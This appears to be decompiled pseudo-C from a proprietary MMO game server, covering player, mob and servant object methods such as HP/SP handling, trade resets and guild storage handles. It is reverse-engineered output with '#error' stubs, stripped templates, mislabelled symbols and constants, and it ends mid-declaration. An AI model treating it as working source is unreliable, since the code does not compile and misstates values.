__thiscall ShineObjectClass::ShineBandit::so_IsMob(ShineObjectClass::ShineBandit *this) { return this->sb_MobBriefInfo.bic_BriefInfo->type == 5; } //----- (004FB120) -------------------------------------------------------- PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ShineObjectClass::ShineBandit::so_GetCharBriefInfo(ShineObjectClass::ShineBandit *this) { return this->sb_MobBriefInfo.bic_BriefInfo; } //----- (004FB130) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineBandit::so_RemakeHandle(ShineObjectClass::ShineBandit *this, unsigned __int16 handle) { ShineObjectClass::ShineBandit *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 16 * handle | 0xB; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 16 * handle | 0xB; } //----- (004FB160) -------------------------------------------------------- ABNORMAL_STATE_BIT *__thiscall ShineObjectClass::ShineBandit::so_Getabstatebit(ShineObjectClass::ShineBandit *this) { return &this->sb_MobBriefInfo.bic_BriefInfo->abstatebit; } //----- (004FB170) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::so_FillBriefInformation(ShineObjectClass::ShineBandit *this, void *array) { PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_((int)array, (int)this->sb_MobBriefInfo.bic_BriefInfo); } //----- (004FB190) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::_ShineServant(ShineObjectClass::ShineServant *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineServant::_vftable_; ShineObjectClass::ShineMob::_ShineMob((int)this); } // 5C7E10: using guessed type int (*ShineObjectClass__ShineServant___vftable_)(); //----- (004FB1A0) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineServant::GetRTTI(ShineObjectClass::ShineServant *this) { return &ShineObjectClass::ShineServant::m_RTTI; } //----- (004FB1B0) -------------------------------------------------------- #error "4FB1B0: undefined or illegal type '#748' (funcsize=14)" //----- (004FB1E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineServant::so_ObjectType(ShineObjectClass::ShineServant *this) { return 10; } //----- (004FB1F0) -------------------------------------------------------- #error "4FB1F0: undefined or illegal type '#748' (funcsize=8)" //----- (004FB210) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineServant::so_AttackRange(ShineObjectClass::ShineServant *this, #331 *target) { unsigned int result; // eax@2 if ( this->ss_AIType == 1 ) result = 0; else result = ShineObjectClass::ShineMob::so_AttackRange((int)this, (int)target); return result; } //----- (004FB230) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_RemakeHandle(ShineObjectClass::ShineServant *this, unsigned __int16 handle) { ShineObjectClass::ShineServant *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 0x13; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 0x13; } //----- (004FB260) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineServant::so_MiscTable(int this) { return *(_DWORD *)(this + 8924); } //----- (004FB270) -------------------------------------------------------- #error "4FB270: undefined or illegal type '#748' (funcsize=38)" //----- (004FB2F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::so_serv_ServantMissionSet(ShineObjectClass::ShineServant *this) { int v1; // [sp+4h] [bp+4h]@0 *(_DWORD *)&this->gap0[8924] = v1; } // 4FB2F0: inconsistent function type and number of purged bytes //----- (004FB300) -------------------------------------------------------- #error "4FB300: undefined or illegal type '#331' (funcsize=2)" //----- (004FB310) -------------------------------------------------------- #error "4FB310: undefined or illegal type '#331' (funcsize=11)" //----- (004FB340) -------------------------------------------------------- #error "4FB340: undefined or illegal type '#748' (funcsize=13)" //----- (004FB370) -------------------------------------------------------- #error "4FB370: undefined or illegal type 'ListArray' (funcsize=146)" //----- (004FB5C0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineAxialFlag::_vector_deleting_destructor_(ShineObjectClass::ShineAxialFlag *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x87u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineAxialFlag::_ShineAxialFlag); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineAxialFlag::_ShineAxialFlag(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004FB620) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineBandit::_vector_deleting_destructor_(ShineObjectClass::ShineBandit *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x2384u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineBandit::_ShineBandit); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineBandit::_ShineBandit(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004FB680) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::_vector_deleting_destructor_(unsigned int this) { void *v1; // esi@1 void *result; // eax@4 char v3; // [sp+Ch] [bp+4h]@0 v1 = (void *)this; if ( v3 & 2 ) { _eh_vector_destructor_iterator_( (void *)this, 0x22DCu, *(_DWORD *)(this - 4), (void (__thiscall *)(void *))ShineObjectClass::ShineMob::_ShineMob); if ( v3 & 1 ) operator delete__((char *)v1 - 4); result = (char *)v1 - 4; } else { ShineObjectClass::ShineMob::_ShineMob(this); if ( v3 & 1 ) operator delete(v1); result = v1; } return result; } // 4FB680: inconsistent function type and number of purged bytes //----- (004FB6E0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineServant::_vector_deleting_destructor_(ShineObjectClass::ShineServant *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x22F8u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineServant::_ShineServant); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineServant::_ShineServant(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004FB750) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::_ShinePlayer(int this) { int v1; // esi@1 MobTargetAggresive *v2; // edi@1 v1 = this; *(_DWORD *)this = &ShineObjectClass::ShinePlayer::_vftable_; v2 = (MobTargetAggresive *)(this + 92572); SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob((SpyNet::IntelligenceOffice4Mob *)(this + 92648)); MobTargetAggresive::_MobTargetAggresive(v2); std::vector>::_Tidy((std::vector > *)(v1 + 92552)); List::_List((ItemLotAnalyser::LotAnalyser *)(v1 + 92192)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 92156)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 92153)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 92152)); CChargedItem::Clear((CChargedItem *)(v1 + 91728)); ChargedItemEffectList::ChargedEffectList::_ChargedEffectList((ChargedItemEffectList::ChargedEffectList *)(v1 + 91064)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 91036)); ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(v1 + 89936)); ShineObjectClass::ShinePlayer::BoothSell::_BoothSell((ShineObjectClass::ShinePlayer::BoothSell *)(v1 + 89184)); TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(v1 + 89166)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 89040)); ItemRewardStorage::_ItemRewardStorage((ItemRewardStorage *)(v1 + 86160)); ItemAccountStorage::_ItemAccountStorage((ItemAccountStorage *)(v1 + 69448)); ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(v1 + 68324)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 68295)); TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(v1 + 68260)); std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator> 3) & 1; } //----- (004FBA90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SendMyBriefInfo(void *this, int a2) { void *v2; // edi@1 int v3; // eax@7 int result; // eax@8 v2 = this; if ( this == (void *)a2 ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_SendMyBriefInfo", 0); if ( *(_WORD *)(a2 + 4) == **(_WORD **)((char *)v2 + 32047) ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_SendMyBriefInfo", 0); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1860))(a2) ) { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(int, int, char *))(*(_DWORD *)v3 + 12))(v3, a2, (char *)v2 + 31884); } result = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1860))(a2); if ( !(_BYTE)result ) result = (*(int (__thiscall **)(void *, int))(*(_DWORD *)v2 + 2472))(v2, a2); return result; } //----- (004FBB20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetDataSocketStream(int this) { return *(_DWORD *)(this + 31876); } //----- (004FBB30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetGameSocketStream(int this) { return *(_DWORD *)(this + 31872); } //----- (004FBB40) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_IsEmpty(int this) { return *(_BYTE *)(this + 92548) || !(unsigned __int8)(*(int (**)(void))(**(_DWORD **)(this + 23656) + 12))(); } //----- (004FBB60) -------------------------------------------------------- char __cdecl ShineObjectClass::ShinePlayer::so_TargetType() { return 2; } //----- (004FBB70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetLevel(int this) { char result; // al@1 result = *(_BYTE *)(this + 32079); if ( (unsigned __int8)result > 0x96u ) result = -106; return result; } //----- (004FBB90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetClass(int this) { return (*(_BYTE *)(this + 32155) >> 2) & 0x1F; } //----- (004FBBA0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_attackspeed1000(void *this) { int v1; // ecx@1 v1 = *(_DWORD *)((*(int (**)(void))(*(_DWORD *)this + 1052))() + 2488) * *((_WORD *)this + 44502); return ((signed int)((unsigned __int64)(v1 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v1 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); } //----- (004FBBD0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShinePlayer::so_BodySize() { return 50; } //----- (004FBBE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetCharBriefInfo(int this) { return *(_DWORD *)(this + 32047); } //----- (004FBBF0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_AttackRange(void *this, int a2) { int v2; // eax@1 v2 = (*(int (**)(void))(*(_DWORD *)this + 1160))(); return (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 56))(v2) != 15 ? 100 : 450; } //----- (004FBC20) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_WalkSpeed(void *this) { void *v1; // esi@1 __int16 result; // ax@2 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() == 6 ) result = (unsigned __int8)((unsigned int)(shineparam.scp_param.chrwalkspeed * *((_WORD *)v1 + 46069) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); else result = (unsigned __int8)((unsigned int)(shineparam.scp_param.chrwalkspeed * *((_DWORD *)v1 + 1756) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); return result; } //----- (004FBC70) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_RunSpeed(void *this) { void *v1; // esi@1 unsigned int result; // eax@2 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() == 6 ) result = (unsigned int)(shineparam.scp_param.chrrunspeed * *((_WORD *)v1 + 46070) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; else result = (unsigned int)(shineparam.scp_param.chrrunspeed * *((_DWORD *)v1 + 1756) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; return result; } //----- (004FBCC0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_GetWMSHandle(int this) { return *(_WORD *)(this + 89156); } //----- (004FBCD0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetCharRegistNumber(int this) { return *(_DWORD *)(this + 32058); } //----- (004FBCE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetUserRegistNumber(int this) { return *(_DWORD *)(this + 32054); } //----- (004FBCF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_LoginLocation(void *this) { return (int)((char *)this + 32116); } //----- (004FBD00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr) { return CharacterInventory::ci_FillBufferItem((CharacterInventory *)(this + 32200), itemcounter, itmarr); } //----- (004FBD10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem_box(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, ItemBag *bag) { int from; // [sp+0h] [bp-4h]@1 from = 0; return CharacterInventory::ci_FillBufferInventoryItem( (CharacterInventory *)(this + 32200), itemcounter, itmarr, box, &from, 8000, bag); } //----- (004FBD50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_Heal(void *this, int heal) { void *v2; // esi@1 signed int v3; // edx@1 int v4; // edi@1 int v5; // eax@1 unsigned int v6; // ecx@1 char *v7; // ecx@1 int result; // eax@1 v2 = this; v3 = (signed int)((unsigned __int64)(heal * *(_WORD *)((*(int (**)(void))(*(_DWORD *)this + 1052))() + 3142) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v4 = v3 + ((unsigned int)v3 >> 31); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)v5; *((_DWORD *)v7 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v7 + 2) = *(_DWORD *)(v5 + 8); *((_DWORD *)v7 + 3) = *(_DWORD *)(v5 + 12); v7[16] = 0; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, v4, 1, (int)"ShineObjectClass::ShinePlayer::so_Heal"); *((_DWORD *)v2 + 8024) += v4; result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); if ( *((_DWORD *)v2 + 8024) > (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); *((_DWORD *)v2 + 8024) = result; } return result; } //----- (004FBE00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetHP(int this) { return *(_DWORD *)(this + 32096); } //----- (004FBE10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetSP(int this) { return *(_DWORD *)(this + 32100); } //----- (004FBE20) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostSP(int this, unsigned int a2) { unsigned int result; // eax@1 result = *(_DWORD *)(this + 32100); if ( result < a2 ) { *(_DWORD *)(this + 32100) = 0; } else { result -= a2; *(_DWORD *)(this + 32100) = result; } return result; } //----- (004FBE50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GainSP(void *this, int a2) { void *v2; // esi@1 int result; // eax@1 v2 = this; *((_DWORD *)v2 + 8025) += a2; result = (*(int (**)(void))(*(_DWORD *)this + 1248))(); if ( *((_DWORD *)v2 + 8025) >= (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1248))(v2); *((_DWORD *)v2 + 8025) = result; } return result; } //----- (004FBE90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ZeroHP(int this) { *(_DWORD *)(this + 32096) = 0; } //----- (004FBEA0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostHP(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // ecx@1 unsigned int result; // eax@1 v2 = this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1352))(); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, hp, -1, (int)"ShineObjectClass::ShinePlayer::so_LostHP"); result = *((_DWORD *)v2 + 8024); if ( result < hp ) { *((_DWORD *)v2 + 8024) = 1; } else { result -= hp; *((_DWORD *)v2 + 8024) = result; } return result; } //----- (004FBF20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GainHP(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // ecx@1 int result; // eax@1 v2 = this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1352))(); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, hp, 1, (int)"ShineObjectClass::ShinePlayer::so_GainHP"); *((_DWORD *)v2 + 8024) += hp; result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1236))(v2); if ( *((_DWORD *)v2 + 8024) >= (unsigned int)result ) { result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1236))(v2); *((_DWORD *)v2 + 8024) = result; } return result; } //----- (004FBFB0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_RemakeHandle(void *this, __int16 handle) { void *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 8 * handle | 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 8 * handle | 2; } //----- (004FBFF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SetSocketSession(int this, int session) { int v2; // edx@1 v2 = *(_DWORD *)(this + 23668); *(_DWORD *)(this + 23656) = session; return (*(int (__thiscall **)(int))v2)(this + 23668); } //----- (004FC010) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_Getabstatebit(int this) { return *(_DWORD *)(this + 32047) + 87; } //----- (004FC020) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber(int this) { return *(_WORD *)(this + 32169); } //----- (004FC030) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LearnPassive(void *this, unsigned __int16 skill) { void *v2; // esi@1 Name4 *v3; // eax@1 v2 = this; v3 = (Name4 *)(*(int (**)(void))(*(_DWORD *)this + 1352))(); CharacterPassiveList::psl_Store((CharacterPassiveList *)((char *)v2 + 68260), skill, v3); } //----- (004FC050) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_tradestart(int this, int a2) { int v2; // esi@1 char result; // al@1 v2 = this + 68295; TradeBoard::tb_Clear((void *)(this + 68295)); *(_DWORD *)v2 = a2; result = 0; *(_BYTE *)(v2 + 4) = 0; *(_BYTE *)(v2 + 5) = 0; return result; } //----- (004FC070) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_TradeBoardreset(int this) { int v1; // eax@1 *(_WORD *)(this + 68282) = -1; *(_WORD *)(this + 68276) = -1; *(_DWORD *)(this + 68284) = -1; *(_DWORD *)(this + 68278) = -1; v1 = *(_DWORD *)this; *(_DWORD *)(this + 68295) = 0; *(_DWORD *)(this + 68288) = 0; return (*(int (__stdcall **)(_DWORD))(v1 + 808))(0); } //----- (004FC0B0) -------------------------------------------------------- #error "4FC0B0: undefined or illegal type '#592' (funcsize=26)" //----- (004FC100) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_close(void *this, __int16 menutype) { void *result; // eax@1 result = this; *((_WORD *)result + 34718) &= ~(1 << menutype); return result; } //----- (004FC120) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_canmenuopen(int this, unsigned __int16 menu) { return DuplicatedMenuControl::dmc_CanMenuOpen((DuplicatedMenuControl *)(this + 69436), menu); } //----- (004FC130) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_Set(void *this, __int16 menutype) { void *result; // eax@1 result = this; *((_WORD *)result + 34718) |= 1 << menutype; return result; } //----- (004FC150) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_TotalSkillEmpower(void *this) { void *v1; // esi@1 unsigned __int8 v2; // al@1 int v3; // esi@1 int result; // eax@2 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1220))(); v3 = *((_DWORD *)v1 + 1001); if ( v2 > 0x96u ) result = *(_DWORD *)(*(_DWORD *)(v3 + 67672) + 124); else result = *(_DWORD *)(*(_DWORD *)(v3 + 4 * v2 + 67672) + 124); return result; } //----- (004FC190) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_skillempowerclear(int this) { CharaterSkillList::csl_EmpowerClear((CharaterSkillList *)(this + 68240)); } //----- (004FC1A0) -------------------------------------------------------- #error "4FC1A0: undefined or illegal type '#440' (funcsize=21)" //----- (004FC1E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreMoney(int this, int cen, int a3) { int result; // eax@1 result = cen; *(_DWORD *)(this + 32108) = cen; *(_DWORD *)(this + 32112) = a3; return result; } //----- (004FC200) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreFame(int this, int fame) { int result; // eax@1 result = fame; *(_DWORD *)(this + 32104) = fame; return result; } //----- (004FC210) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_lastpickuptime(int this) { return *(_DWORD *)(this + 89180); } //----- (004FC220) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyRecharge(void *this, int recoverate) { void *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // ecx@1 int v6; // eax@1 int v7; // eax@1 int v8; // edx@1 int v9; // eax@1 int v10; // edx@1 int result; // eax@3 v2 = this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1352))(); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); ShineObjectClass::ShinePlayer::sp_HPChangeCheck( v2, (unsigned int)((unsigned int)(recoverate * v6) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6, 1, (int)"ShineObjectClass::ShinePlayer::so_ply_PartyRecharge"); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); v8 = *(_DWORD *)v2; *((_DWORD *)v2 + 8024) += (unsigned int)((unsigned int)(recoverate * v7) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; v9 = (*(int (__thiscall **)(void *))(v8 + 1248))(v2); v10 = *(_DWORD *)v2; *((_DWORD *)v2 + 8025) += (unsigned int)((unsigned int)(recoverate * v9) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; if ( *((_DWORD *)v2 + 8024) > (unsigned int)(*(int (__thiscall **)(void *))(v10 + 1236))(v2) ) *((_DWORD *)v2 + 8024) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1240))(v2); if ( *((_DWORD *)v2 + 8025) > (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1240))(v2); *((_DWORD *)v2 + 8025) = result; } return result; } //----- (004FC330) -------------------------------------------------------- #error "4FC330: undefined or illegal type '#331' (funcsize=15)" //----- (004FC360) -------------------------------------------------------- #error "4FC360: undefined or illegal type '#331' (funcsize=86)" //----- (004FC450) -------------------------------------------------------- #error "4FC450: undefined or illegal type '#331' (funcsize=11)" //----- (004FC470) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetCharacterTitle(void *this) { return (int)((char *)this + 89936); } //----- (004FC480) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetStatDistStr(void *this) { return (int)((char *)this + 32137); } //----- (004FC490) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetInventoryLockList(void *this) { return (int)((char *)this + 57768); } //----- (004FC4A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetGender(int this) { return *(_BYTE *)(this + 32155) >> 7; } //----- (004FC4B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildNo(int this, int gldnum) { int result; // eax@1 result = gldnum; *(_DWORD *)(this + 91044) = gldnum; return result; } //----- (004FC4C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuild(int this, int gld) { int result; // eax@1 result = gld; *(_DWORD *)(this + 91048) = gld; return result; } //----- (004FC4D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildStorageHandle(void *this) { return (int)((char *)this + 68228); } //----- (004FC4E0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildStorageHandle(int this, __int16 nGuildStorageHandle) { __int16 result; // ax@1 result = nGuildStorageHandle; *(_WORD *)(this + 68228) = nGuildStorageHandle; return result; } //----- (004FC4F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyRewardStorageHandle(void *this) { return (int)((char *)this + 68230); } //----- (004FC500) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyRewardStorageHandle(int this, __int16 nGuildAcademyRewardStorageHandle) { __int16 result; // ax@1 result = nGuildAcademyRewardStorageHandle; *(_WORD *)(this + 68230) = nGuildAcademyRewardStorageHandle; return result; } //----- (004FC510) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestDiary(void *this) { return (int)((char *)this + 66048); } //----- (004FC520) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_TreasureChestLocationManager(void *this) { return (int)((char *)this + 89166); } //----- (004FC530) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_InventorySize(int this) { unsigned __int8 v1; // al@1 int result; // eax@2 v1 = *(_BYTE *)(this + 91698); if ( v1 <= 4u ) result = 24 * (v1 + 2); else result = 144; return result; } //----- (004FC550) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StorageSize(int this) { unsigned __int8 v1; // al@1 int result; // eax@2 v1 = *(_BYTE *)(this + 91699); if ( v1 <= 2u ) result = 36 * (v1 + 2); else result = 144; return result; } //----- (004FC570) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StreetBoothSlot(int this) { int result; // 